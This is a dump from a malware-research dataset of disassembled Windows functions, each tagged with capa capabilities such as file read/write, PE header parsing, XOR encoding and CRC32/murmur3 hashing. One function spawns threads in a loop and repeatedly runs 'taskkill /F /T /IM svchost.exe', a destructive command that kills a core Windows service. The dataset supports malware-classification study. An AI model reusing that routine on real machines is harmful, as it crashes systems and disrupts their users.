joyce8/EMBER2024-capa huggingface dataset:
Function at 0x18006f420
Capabilities:
Clear file content

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov rbx, rdx
mov rsi, r8
xor edx, edx
mov r14d, ecx
lea r8d, [rdx + 1]
call fcn.18006190c
xor edx, edx
mov ecx, r14d
mov r12, rax
lea r8d, [rdx + 2]
call fcn.18006190c
mov rbp, rbx
sub rbp, rax
cmp r12, 0xffffffffffffffff
je 0x18006f570
cmp rax, 0xffffffffffffffff
je 0x18006f570
xor edi, edi
test rbp, rbp
jle 0x18006f51b
lea edx, [rdi + 1]
mov ecx, 0x1000
call fcn.18005e18c
mov rbx, rax
test rax, rax
jne 0x18006f4a8
lea edi, [rax + 0xc]
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], edi
jmp 0x18006f511
mov edx, 0x8000
mov ecx, r14d
call fcn.18006f2a8
mov r15d, eax
mov eax, 0x1000
mov r8d, ebp
cmp rbp, rax
mov r9, rsi
mov rdx, rbx
mov ecx, r14d
cmovge r8d, eax
call fcn.18006003c
cmp eax, 0xffffffff
je 0x18006f4f1
cdqe
sub rbp, rax
test rbp, rbp
jg 0x18006f4b8
mov edx, r15d
mov ecx, r14d
call fcn.18006f2a8
jmp 0x18006f511
cmp byte [rsi + 0x38], dil
je 0x18006f508
cmp dword [rsi + 0x34], 5
jne 0x18006f508
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
cmp byte [rsi + 0x30], dil
je 0x18006f511
mov edi, dword [rsi + 0x2c]
mov rcx, rbx
call fcn.18005def0
jmp 0x18006f584
jns 0x18006f584
xor r8d, r8d
mov rdx, rbx
mov ecx, r14d
call fcn.18006190c
cmp rax, 0xffffffffffffffff
jne 0x18006f53c
cmp byte [rsi + 0x30], dil
je 0x18006f584
mov edi, dword [rsi + 0x2c]
jmp 0x18006f584
mov ecx, r14d
call fcn.180055eac
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x18006f584
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [rsi + 0x38], 1
mov edi, 0xd
mov dword [rsi + 0x34], eax
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
jmp 0x18006f584
xor edi, edi
cmp byte [rsi + 0x30], dil
je 0x18006f57d
mov eax, dword [rsi + 0x2c]
jmp 0x18006f582
mov eax, 0x16
mov edi, eax
xor r8d, r8d
mov rdx, r12
mov ecx, r14d
call fcn.18006190c
mov rbx, qword [rsp + 0x40]
mov eax, edi
mov rdi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop r12
ret

Function at 0x140002dac
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x18
xor edx, edx
lea rax, [rcx - 1]
cmp rax, 0xfffffffffffffffd
ja 0x140002df8
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140002df0
cmp dword [rcx + 0x3c], edx
jl 0x140002df0
cmp dword [rcx + 0x3c], 0x10000000
jae 0x140002df0
movsxd rax, dword [rcx + 0x3c]
add rax, rcx
mov qword [rsp], rax
cmp dword [rax], 0x4550
cmovne rax, rdx
mov rdx, rax
mov qword [rsp], rax
jmp 0x140002df8
mov rax, rdx
add rsp, 0x18
ret
Function at 0x140001020
Capabilities:
Create thread
Execute command

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x30
xor edi, edi
mov ebx, edi
nop
mov qword [rsp + 0x28], rdi
lea r8, section..text
xor r9d, r9d
mov dword [rsp + 0x20], edi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, 0x3e8
inc ebx
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp ebx, 0x32
jl 0x140001030
lea rcx, str.taskkill__F__T__IM_svchost.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
jmp 0x140001030

Function at 0x14000195c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400019a6
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400019a6
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400019a6
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400019a6
cmp dword [rcx + 0x84], 0xe
jbe 0x1400019a6
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400019a8
xor al, al
add rsp, 0x28
ret
Function at 0x1f4653130
Capabilities:
Write file on windows

Disassembly:
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x38
mov rdi, rdx
test rdx, rdx
jle 0x1f465319f
mov rbp, qword [fcn.1f46e4a70]
mov r12, qword [0x1f470dc10]
mov rbx, rcx
xor esi, esi
lea r13, [rsp + 0x20]
jmp 0x1f465316d
add rsi, 1
add rbx, 0x10
cmp rsi, rdi
je 0x1f46531a6
mov ecx, 1
call rbp
movdqu xmm0, xmmword [rbx]
xor r8d, r8d
mov rdx, r13
mov rcx, rax
movups xmmword [rsp + 0x20], xmm0
call fcn.1f4652fe0
cmp byte [r12], 0
je 0x1f4653160
add rsp, 0x38
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
ret
mov rbp, qword [fcn.1f46e4a70]
mov ecx, 1
call rbp
mov r8d, 1
mov edx, 1
lea rcx, [0x1f46e717c]
mov r9, rax
call sub.msvcrt.dll_fwrite
mov ecx, 1
call rbp
mov rcx, rax
add rsp, 0x38
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
jmp fcn.1f46e5198
Function at 0x1f46534e0
Capabilities:
Read file on windows

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
lea rax, [0x1f46e71a0]
mov rdi, rcx
mov rsi, rdx
lea rcx, [rsp + 0x20]
mov edx, 0xfa0
mov qword [rsp + 0x38], rax
lea r12, [rsp + 0x30]
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x48], 0
call fcn.1f465ba10
mov rax, qword [rsp + 0x20]
mov rbp, qword [0x1f470dc10]
mov qword [rsp + 0x40], rax
mov rbx, rax
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x48], rax
test rbx, rbx
jle 0x1f46536a0
nop word [rax + rax]
mov rax, qword [rsp + 0x48]
mov r9, rsi
mov r8d, 0xfa0
mov edx, 1
lea rcx, [rax + 8]
call sub.msvcrt.dll_fread
mov rbx, rax
cmp rax, 0xfa0
je 0x1f4653638
mov rcx, rsi
call sub.msvcrt.dll_ferror
test eax, eax
je 0x1f4653597
mov rcx, rsi
call fcn.1f4652d40
cmp byte [rbp], 0
jne 0x1f46536f8
test rbx, rbx
js 0x1f46536e0
lea rsi, [rsp + 0x40]
mov rdx, rbx
mov rcx, rsi
call fcn.1f4656df0
mov rdx, qword [rsp + 0x40]
lea rcx, [rsp + 0x30]
call fcn.1f4656ba0
mov rbx, qword [rsp + 0x40]
test rbx, rbx
jle 0x1f4653616
mov r8, rbx
mov rax, qword [rsp + 0x48]
add r8, 1
jo 0x1f4653702
test r8, r8
js 0x1f465370c
mov rdx, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x38]
lea rcx, [rcx + rdx + 8]
lea rdx, [rax + 8]
call fcn.1f46e51f8
add rbx, qword [rsp + 0x30]
jo 0x1f4653702
mov qword [rsp + 0x30], rbx
mov rcx, rsi
call fcn.1f4655cd0
movdqu xmm0, xmmword [rsp + 0x30]
mov rax, rdi
movups xmmword [rdi], xmm0
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
cmp byte [rbp], 0
jne 0x1f46536f8
mov rdx, qword [rsp + 0x40]
mov rcx, r12
call fcn.1f4656ba0
mov rbx, qword [rsp + 0x40]
mov rdx, qword [rsp + 0x48]
test rbx, rbx
jle 0x1f46536a0
mov r8, rbx
add r8, 1
jo 0x1f46536b5
test r8, r8
js 0x1f46536c0
mov rax, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x38]
add rdx, 8
lea rcx, [rcx + rax + 8]
call fcn.1f46e51f8
add rbx, qword [rsp + 0x30]
jo 0x1f46536b5
mov qword [rsp + 0x30], rbx
mov rbx, qword [rsp + 0x40]
test rbx, rbx
jg 0x1f4653558
nop
lea rdx, [rbx - 1]
xor ecx, ecx
lea rsi, [rsp + 0x40]
call fcn.1f465ac40
jmp 0x1f4653616
call fcn.1f4655e70
jmp 0x1f4653690
movabs r8, 0x7fffffffffffffff
xor edx, edx
movabs rcx, 0x8000000000000000
call fcn.1f4656500
jmp 0x1f4653690
movabs r8, 0x7fffffffffffffff
xor edx, edx
mov rcx, rbx
call fcn.1f4656500
nop dword [rax]
lea rsi, [rsp + 0x40]
jmp 0x1f4653616
call fcn.1f4655e70
jmp 0x1f4653616
movabs r8, 0x7fffffffffffffff
xor edx, edx
movabs rcx, 0x8000000000000000
call fcn.1f4656500
jmp 0x1f4653616
Function at 0x1f4653730
Capabilities:
Read file on windows

Disassembly:
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
mov qword [rsp + 0x30], 0
mov rdi, rcx
mov rsi, rdx
mov rbx, r8
mov qword [rsp + 0x38], 0
test r8, r8
js 0x1f4653830
lea r13, [rsp + 0x20]
mov rdx, r8
mov rcx, r13
call fcn.1f465ba10
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x30], rax
mov rdx, rax
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x38], rax
test rdx, rdx
jle 0x1f4653890
mov rax, qword [rsp + 0x38]
mov r9, rsi
mov r8, rbx
mov edx, 1
lea rcx, [rax + 8]
call sub.msvcrt.dll_fread
mov rbp, rax
cmp rbx, rax
je 0x1f46537c3
mov rcx, rsi
call sub.msvcrt.dll_ferror
test eax, eax
jne 0x1f4653850
mov r14, qword [0x1f470dc10]
cmp byte [r14], 0
jne 0x1f465380b
mov rcx, rsi
call sub.msvcrt.dll_fgetc
mov rdx, rsi
mov ecx, eax
mov r12d, eax
call sub.msvcrt.dll_ungetc
cmp byte [r14], 0
jne 0x1f465380b
test r12d, r12d
jns 0x1f46538a0
cmp rbx, rbp
jle 0x1f465380b
test rbp, rbp
js 0x1f4653870
lea rcx, [rsp + 0x30]
mov rdx, rbp
call fcn.1f4656df0
movdqu xmm0, xmmword [rsp + 0x30]
mov rax, rdi
movups xmmword [rdi], xmm0
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
ret
movabs r8, 0x7fffffffffffffff
xor edx, edx
mov rcx, rbx
call fcn.1f4656500
jmp 0x1f465380b
mov rcx, rsi
call fcn.1f4652d40
mov r14, qword [0x1f470dc10]
cmp byte [r14], 0
je 0x1f46537d0
jmp 0x1f465380b
movabs r8, 0x7fffffffffffffff
xor edx, edx
mov rcx, rbp
call fcn.1f4656500
jmp 0x1f465380b
sub rdx, 1
xor ecx, ecx
call fcn.1f465ac40
jmp 0x1f465380b
mov qword [rsp + 0x40], 0
mov rdx, rsi
mov rcx, r13
mov qword [rsp + 0x48], 0
call fcn.1f46534e0
movdqu xmm1, xmmword [rsp + 0x20]
cmp byte [r14], 0
movups xmmword [rsp + 0x40], xmm1
jne 0x1f465391e
mov rdx, qword [rsp + 0x40]
lea rcx, [rsp + 0x30]
call fcn.1f4656ba0
mov rbx, qword [rsp + 0x40]
test rbx, rbx
jle 0x1f465391e
mov r8, rbx
mov rdx, qword [rsp + 0x48]
add r8, 1
jo 0x1f465392d
test r8, r8
js 0x1f4653938
mov rax, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x38]
add rdx, 8
lea rcx, [rcx + rax + 8]
call fcn.1f46e51f8
add rbx, qword [rsp + 0x30]
jo 0x1f465392d
mov qword [rsp + 0x30], rbx
lea rcx, [rsp + 0x40]
call fcn.1f4655cd0
jmp 0x1f465380b
call fcn.1f4655e70
jmp 0x1f465391e
movabs r8, 0x7fffffffffffffff
xor edx, edx
movabs rcx, 0x8000000000000000
call fcn.1f4656500
jmp 0x1f465391e
Function at 0x1f4653ca0
Capabilities:
Write file on windows

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x68
lea rax, [0x1f46e717b]
pxor xmm0, xmm0
mov rbp, qword [rcx]
mov r13, qword [rcx + 8]
test rbp, rbp
mov qword [rsp + 0xb8], rdx
lea rdx, [r13 + 8]
lea r12, [rsp + 0x30]
mov rdi, r8
cmove rdx, rax
mov rcx, r12
movups xmmword [rsp + 0x40], xmm0
lea r15, [rsp + 0x40]
movups xmmword [rsp + 0x50], xmm0
lea r14, [rsp + 0x50]
call fcn.1f4652bb0
mov rbx, qword [0x1f470dc10]
movdqu xmm1, xmmword [rsp + 0x30]
cmp byte [rbx], 0
movups xmmword [rsp + 0x40], xmm1
jne 0x1f4653da8
lea rdx, [0x1f46e718b]
mov rcx, r12
call fcn.1f4652bb0
movdqu xmm2, xmmword [rsp + 0x30]
cmp byte [rbx], 0
movups xmmword [rsp + 0x50], xmm2
jne 0x1f4653da8
mov rdx, qword [rsp + 0x58]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.msvcrt.dll__wfopen]
mov rcx, r14
mov rsi, rax
call fcn.1f4652b90
cmp byte [rbx], 0
jne 0x1f4653da8
mov rcx, r15
call fcn.1f4652b90
cmp byte [rbx], 0
jne 0x1f4653da8
test rsi, rsi
je 0x1f4653dd0
test rdi, rdi
jle 0x1f4653ea0
mov rcx, qword [rsp + 0xb8]
mov r9, rsi
mov r8, rdi
mov edx, 1
call sub.msvcrt.dll_fwrite
mov rcx, rsi
call sub.msvcrt.dll_ferror
test eax, eax
jne 0x1f4653dc0
movzx edi, byte [rbx]
mov rcx, rsi
mov byte [rbx], 0
call sub.msvcrt.dll_fclose
cmp byte [rbx], 0
jne 0x1f4653da8
mov byte [rbx], dil
add rsp, 0x68
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
mov rcx, rsi
call fcn.1f4652d40
jmp 0x1f4653d92
mov edx, 8
mov ecx, 0x40
lea rsi, [0x1f46e7163]
call fcn.1f4657080
mov rcx, r12
lea rdx, [rbp + 0xd]
mov rbx, rax
mov rax, qword [0x1f470d9c0]
mov qword [rbx + 0x10], rsi
mov qword [rbx], rax
call fcn.1f4656e60
mov rdi, qword [rsp + 0x30]
mov r14, qword [rsp + 0x38]
movabs rcx, 0x6f20746f6e6e6163
movabs rdx, 0x203a6e65706f20
mov r12, rdi
lea rax, [rdi + r14 + 8]
add r12, 0xd
mov qword [rax], rcx
mov qword [rax + 6], rdx
jo 0x1f4653ef0
test rbp, rbp
jle 0x1f4653ed3
mov r8, rbp
add r8, 1
jo 0x1f4653ee0
test r8, r8
js 0x1f4653eb8
lea rcx, [r12 + r14 + 8]
lea rdx, [r13 + 8]
call fcn.1f46e51f8
add rbp, r12
jo 0x1f4653ee0
mov qword [rbx + 0x18], rbp
mov rdx, rsi
mov rcx, rbx
lea r9, str.io.nim
mov qword [rbx + 0x20], r14
lea r8, str.writeFile
mov qword [rbx + 8], 0
mov qword [rsp + 0x20], 0x381
call fcn.1f4658e40
jmp 0x1f4653da8
lea rdx, [rdi - 1]
xor ecx, ecx
call fcn.1f465ac40
movzx edi, byte [rbx]
jmp 0x1f4653d95
movabs r8, 0x7fffffffffffffff
xor edx, edx
movabs rcx, 0x8000000000000000
call fcn.1f4656500
mov rbp, r12
jmp 0x1f4653e68
call fcn.1f4655e70
jmp 0x1f4653ed3
call fcn.1f4655e70
mov r12, rdi
jmp 0x1f4653e3a

Function at 0x1f46541b0
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x28
xor r8d, r8d
mov rsi, rcx
mov rbx, rdx
test rdx, rdx
je 0x1f46541cf
mov rcx, rdx
call sub.msvcrt.dll_strlen
mov r8, rax
mov rcx, rbx
mov r9, rsi
mov edx, 1
call sub.msvcrt.dll_fwrite
mov rcx, rsi
add rsp, 0x28
pop rbx
pop rsi
jmp fcn.1f46e5198
Function at 0x1f4660e80
Capabilities:
Encode data using xor

Disassembly:
mov rax, qword [rcx]
mov rdx, qword [rcx + 8]
test rax, rax
jle 0x1f4660ee0
lea r8, [rax + rdx + 8]
lea rcx, [rdx + 8]
xor eax, eax
nop word [rax + rax]
movzx edx, byte [rcx]
add rcx, 1
add rdx, rax
mov rax, rdx
shl rax, 0xa
add rax, rdx
mov rdx, rax
shr rdx, 6
xor rax, rdx
cmp r8, rcx
jne 0x1f4660ea0
lea rax, [rax + rax*8]
mov rdx, rax
shr rdx, 0xb
xor rdx, rax
mov rax, rdx
shl rax, 0xf
add rax, rdx
ret
xor eax, eax
ret

Function at 0x1f4663540
Capabilities:
Hash data using murmur3

Disassembly:
push rsi
push rbx
sub rsp, 0x28
mov r8, rdx
sar rdx, 0x3f
mov r10, rcx
shr rdx, 0x3e
mov r11, r8
lea rax, [r8 + rdx]
and eax, 3
sub rax, rdx
sub r11, rax
cmp r8, 3
jle 0x1f46636e2
mov rax, qword [0x1f470dc10]
mov edx, dword [rcx]
cmp byte [rax], 0
jne 0x1f46636c1
xor r9d, r9d
mov ecx, 4
jmp 0x1f46635a1
cmp r8, rcx
jle 0x1f46636b8
mov edx, dword [r10 + rcx]
add rcx, 4
imul eax, edx, 0xcc9e2d51
rol eax, 0xf
imul eax, eax, 0x1b873593
xor eax, r9d
rol eax, 0xd
lea r9d, [rax + rax*4 - 0x19ab949c]
cmp r11, rcx
jg 0x1f4663590
mov rax, r8
and eax, 3
je 0x1f46636f8
lea rbx, [rax - 1]
xor edx, edx
mov r11, rbx
add r11, rcx
js 0x1f46636fc
cmp r11, rcx
jb 0x1f46636fc
test rdx, rdx
jne 0x1f46636db
cmp r8, r11
jle 0x1f46636cd
test r11, r11
js 0x1f46636cd
movzx edx, byte [r10 + r11]
test rbx, rbx
je 0x1f466366c
sub rax, 2
xor esi, esi
mov rbx, rax
add rbx, rcx
js 0x1f4663706
cmp rbx, rcx
jb 0x1f4663706
mov r11, rbx
test rsi, rsi
jne 0x1f46636db
cmp r8, rbx
jle 0x1f46636cd
test rbx, rbx
js 0x1f46636cd
movzx r11d, byte [r10 + rbx]
shl edx, 8
or edx, r11d
test rax, rax
je 0x1f466366c
test rcx, rcx
js 0x1f46636ca
cmp r8, rcx
jle 0x1f46636ca
movzx eax, byte [r10 + rcx]
shl edx, 8
or edx, eax
imul edx, edx, 0xcc9e2d51
rol edx, 0xf
mov rax, qword [0x1f470dc10]
cmp byte [rax], 0
jne 0x1f46636c1
imul edx, edx, 0x1b873593
xor r9d, r8d
xor r9d, edx
mov eax, r9d
shr eax, 0x10
xor eax, r9d
imul eax, eax, 0x85ebca6b
mov edx, eax
shr edx, 0xd
xor edx, eax
imul edx, edx, 0xc2b2ae35
mov eax, edx
shr eax, 0x10
xor eax, edx
jmp 0x1f46636c3
lea rdx, [r8 - 1]
call fcn.1f465ac40
xor eax, eax
add rsp, 0x28
pop rbx
pop rsi
ret
mov r11, rcx
lea rdx, [r8 - 1]
mov rcx, r11
call fcn.1f465ac40
jmp 0x1f46636c1
call fcn.1f4655e70
jmp 0x1f46636c1
test rax, rax
jle 0x1f4663710
lea rbx, [rax - 1]
xor ecx, ecx
xor r9d, r9d
mov r11, rbx
jmp 0x1f46635f3
xor edx, edx
jmp 0x1f4663681
mov edx, 1
jmp 0x1f46635ea
mov esi, 1
jmp 0x1f466362a
xor r9d, r9d
xor edx, edx
jmp 0x1f4663675

Function at 0x1f4663720
Capabilities:
Hash data using murmur3

Disassembly:
sub rsp, 0x28
mov rdx, qword [rcx]
mov rax, qword [rcx + 8]
test rdx, rdx
js 0x1f4663748
lea rcx, [rax + 8]
test rax, rax
cmove rcx, rax
add rsp, 0x28
jmp fcn.1f4663540
lea rax, [rdx - 1]
mov r8, rdx
xor ecx, ecx
mov rdx, rax
call fcn.1f465d5c0
xor eax, eax
add rsp, 0x28
ret
Function at 0x1f4677d00
Capabilities:
Encode data using xor

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x30
mov rbx, qword [rcx]
mov rdi, qword [rcx + 8]
mov rsi, rbx
cmp rdi, rbx
jl 0x1f4677dc0
mov rax, qword [0x1f470dc10]
movzx eax, byte [rax]
sub rdi, rbx
jne 0x1f4677d40
test al, al
jne 0x1f4677e2c
mov rax, rsi
add rsp, 0x30
pop rbx
pop rsi
pop rdi
ret
mov rcx, qword [0x1f471b130]
mov r8, qword [0x1f471b138]
cmp rdi, 0xffffffffffffffff
je 0x1f4677e28
test al, al
jne 0x1f4677e2c
mov rax, 0xffffffffffffffff
xor edx, edx
div rdi
lea rax, [r8 + rcx]
xor r8, rcx
ror rcx, 9
mov rsi, rdx
mov r9, r8
xor rcx, r8
ror r8, 0x1c
shl r9, 0xe
xor rcx, r9
add rsi, rax
jb 0x1f4677d6c
lea r9, [rdi + 1]
xor edx, edx
div r9
mov qword [0x1f471b130], rcx
mov qword [0x1f471b138], r8
lea rsi, [rbx + rdx]
mov rax, rsi
add rsp, 0x30
pop rbx
pop rsi
pop rdi
ret
movdqu xmm0, xmmword [0x1f46ec240]
lea rcx, [rsp + 0x20]
movups xmmword [rsp + 0x20], xmm0
call fcn.1f4651dc0
mov rax, qword [0x1f470dc10]
cmp byte [rax], 0
jne 0x1f4677e2c
sub rdi, rbx
je 0x1f4677d31
mov rcx, qword [0x1f471b130]
mov r8, qword [0x1f471b138]
cmp rdi, 0xffffffffffffffff
jne 0x1f4677d60
lea rdx, [rcx + r8]
xor r8, rcx
ror rcx, 9
mov rax, r8
xor rcx, r8
ror r8, 0x1c
shl rax, 0xe
xor rcx, rax
jmp 0x1f4677d99
test al, al
je 0x1f4677e04
xor esi, esi
mov rax, rsi
add rsp, 0x30
pop rbx
pop rsi
pop rdi
ret
Function at 0x1f469a8b0
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push rsi
push rbx
test rdx, rdx
lea r11, [rdx + 7]
mov r9, rdx
mov eax, r8d
cmovns r11, rdx
sar r11, 3
cmp rdx, 7
jle 0x1f469a9ae
mov rdx, qword [0x1f470dc10]
cmp byte [rdx], 0
jne 0x1f469a9ab
xor r10d, r10d
lea r8, [0x1f46f03c0]
nop dword [rax + rax]
mov ebx, dword [rcx + r10*8 + 4]
xor eax, dword [rcx + r10*8]
add r10, 1
mov edx, ebx
movzx esi, bl
shr edx, 0x18
mov edx, dword [r8 + rdx*4]
xor edx, dword [r8 + rsi*4 + 0xc00]
movzx esi, al
xor edx, dword [r8 + rsi*4 + 0x1c00]
mov esi, eax
shr esi, 0x18
xor edx, dword [r8 + rsi*4 + 0x1000]
movzx esi, bh
shr ebx, 0x10
movzx ebx, bl
mov esi, esi
xor edx, dword [r8 + rsi*4 + 0x800]
xor edx, dword [r8 + rbx*4 + 0x400]
movzx ebx, ah
shr eax, 0x10
movzx eax, al
mov ebx, ebx
xor edx, dword [r8 + rbx*4 + 0x1800]
xor edx, dword [r8 + rax*4 + 0x1400]
mov eax, edx
cmp r11, r10
jg 0x1f469a8f0
lea rdx, [r11*8]
cmp r9, 7
mov r8d, 8
cmovle rdx, r8
cmp r9, rdx
jle 0x1f469a9ab
add rdx, rcx
lea r8, [0x1f46f03c0]
add rcx, r9
nop
movzx r9d, byte [rdx]
add rdx, 1
xor r9d, eax
shr eax, 8
movzx r9d, r9b
xor eax, dword [r8 + r9*4]
cmp rdx, rcx
jne 0x1f469a990
pop rbx
pop rsi
ret
xor edx, edx
jmp 0x1f469a97c
Function at 0x1f46b6950
Capabilities:
Encode data using xor

Disassembly:
sub rsp, 0x38
movups xmmword [rsp], xmm6
movups xmmword [rsp + 0x10], xmm7
movups xmmword [rsp + 0x20], xmm8
movdqu xmm6, xmmword [rcx]
movdqu xmm3, xmmword [rcx + 0x10]
movdqu xmm2, xmmword [rcx + 0x20]
movdqu xmm5, xmmword [rcx + 0x30]
movd xmm0, r8d
lea rax, [rdx - 0x40]
pxor xmm0, xmm6
cmp rax, 0x3f
jle 0x1f46b6b90
lea r8, [rdx - 0x80]
movdqu xmm4, xmmword [0x1f4704b90]
lea rax, [rcx + 0x40]
mov rdx, r8
and rdx, 0xffffffffffffffc0
lea rdx, [rcx + rdx + 0x80]
nop dword [rax]
movdqu xmm7, xmm3
movdqu xmm6, xmm2
movdqu xmm1, xmm5
add rax, 0x40
movdqu xmm8, xmm0
pclmulqdq xmm7, xmm4, 0
pclmulqdq xmm6, xmm4, 0
pclmulqdq xmm8, xmm4, 0
pclmulqdq xmm5, xmm4, 0x11
pclmulqdq xmm1, xmm4, 0
pclmulqdq xmm0, xmm4, 0x11
pclmulqdq xmm3, xmm4, 0x11
pclmulqdq xmm2, xmm4, 0x11
pxor xmm0, xmm8
pxor xmm3, xmm7
pxor xmm2, xmm6
movdqu xmm8, xmmword [rax - 0x40]
pxor xmm1, xmm5
movdqu xmm7, xmmword [rax - 0x30]
movdqu xmm6, xmmword [rax - 0x20]
movdqu xmm5, xmmword [rax - 0x10]
pxor xmm0, xmm8
pxor xmm3, xmm7
pxor xmm2, xmm6
pxor xmm5, xmm1
cmp rax, rdx
jne 0x1f46b69b0
mov rax, r8
shr rax, 6
lea rdx, [rax + 2]
shl rax, 6
mov r9, rax
mov rax, r8
shl rdx, 6
sub rax, r9
movdqu xmm1, xmmword [0x1f4704b80]
movdqu xmm4, xmm0
pclmulqdq xmm4, xmm1, 0
pclmulqdq xmm0, xmm1, 0x11
pxor xmm0, xmm4
pxor xmm3, xmm0
movdqu xmm0, xmm3
pclmulqdq xmm3, xmm1, 0x11
pclmulqdq xmm0, xmm1, 0
pxor xmm3, xmm0
pxor xmm2, xmm3
movdqu xmm3, xmm2
pclmulqdq xmm2, xmm1, 0x11
pclmulqdq xmm3, xmm1, 0
movdqu xmm0, xmm2
pxor xmm0, xmm3
pxor xmm0, xmm5
cmp rax, 0xf
jle 0x1f46b6b11
movdqu xmm2, xmm0
movdqu xmm7, xmmword [rcx + rdx]
pclmulqdq xmm0, xmm1, 0x11
pclmulqdq xmm2, xmm1, 0
pxor xmm0, xmm2
pxor xmm0, xmm7
cmp rax, 0x1f
jle 0x1f46b6b11
movdqu xmm2, xmm0
movdqu xmm7, xmmword [rcx + rdx + 0x10]
pclmulqdq xmm0, xmm1, 0x11
pclmulqdq xmm2, xmm1, 0
pxor xmm0, xmm2
pxor xmm0, xmm7
cmp rax, 0x2f
jle 0x1f46b6b11
movdqu xmm2, xmm0
movdqu xmm3, xmmword [rcx + rdx + 0x20]
pclmulqdq xmm0, xmm1, 0x11
pclmulqdq xmm2, xmm1, 0
pxor xmm0, xmm2
pxor xmm0, xmm3
movdqu xmm2, xmm0
psrldq xmm0, 8
movups xmm6, xmmword [rsp]
movdqu xmm3, xmmword [0x1f4704bc0]
pclmulqdq xmm2, xmm1, 0x10
movups xmm7, xmmword [rsp + 0x10]
movups xmm8, xmmword [rsp + 0x20]
pxor xmm2, xmm0
movdqu xmm1, xmm2
movdqu xmm0, xmm2
movdqu xmm2, xmmword [0x1f4704ba0]
psrldq xmm0, 4
pand xmm1, xmm2
pclmulqdq xmm1, xmmword [0x1f4704bb0], 0
pxor xmm1, xmm0
movdqu xmm0, xmm1
pand xmm0, xmm2
pclmulqdq xmm0, xmm3, 0x10
pand xmm0, xmm2
pclmulqdq xmm0, xmm3, 0
pxor xmm0, xmm1
pextrd eax, xmm0, 1
add rsp, 0x38
ret
mov edx, 0x40
jmp 0x1f46b6a52
Function at 0x1f46b6ba0
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push rsi
push rbx
test rdx, rdx
mov eax, r8d
lea r8, [rdx + 7]
mov r9, rcx
cmovns r8, rdx
mov r10, rdx
xor r11d, r11d
lea rcx, [0x1f4704be0]
sar r8, 3
cmp rdx, 7
jle 0x1f46b6c88
nop
mov ebx, dword [r9 + r11*8 + 4]
xor eax, dword [r9 + r11*8]
add r11, 1
mov esi, ebx
movzx edx, bl
shr esi, 0x18
mov edx, dword [rcx + rdx*4 + 0xc00]
xor edx, dword [rcx + rsi*4]
movzx esi, al
xor edx, dword [rcx + rsi*4 + 0x1c00]
mov esi, eax
shr esi, 0x18
xor edx, dword [rcx + rsi*4 + 0x1000]
movzx esi, bh
shr ebx, 0x10
movzx ebx, bl
mov esi, esi
xor edx, dword [rcx + rsi*4 + 0x800]
xor edx, dword [rcx + rbx*4 + 0x400]
movzx ebx, ah
shr eax, 0x10
movzx eax, al
mov ebx, ebx
xor edx, dword [rcx + rbx*4 + 0x1800]
xor edx, dword [rcx + rax*4 + 0x1400]
mov eax, edx
cmp r8, r11
jg 0x1f46b6bd0
shl r8, 3
mov edx, 8
cmp r10, 7
cmovle r8, rdx
cmp r10, r8
jle 0x1f46b6c80
add r8, r9
lea rcx, [0x1f4704be0]
add r9, r10
nop dword [rax]
movzx edx, byte [r8]
add r8, 1
xor edx, eax
shr eax, 8
movzx edx, dl
xor eax, dword [rcx + rdx*4]
cmp r9, r8
jne 0x1f46b6c68
pop rbx
pop rsi
ret
xor r8d, r8d
jmp 0x1f46b6c4f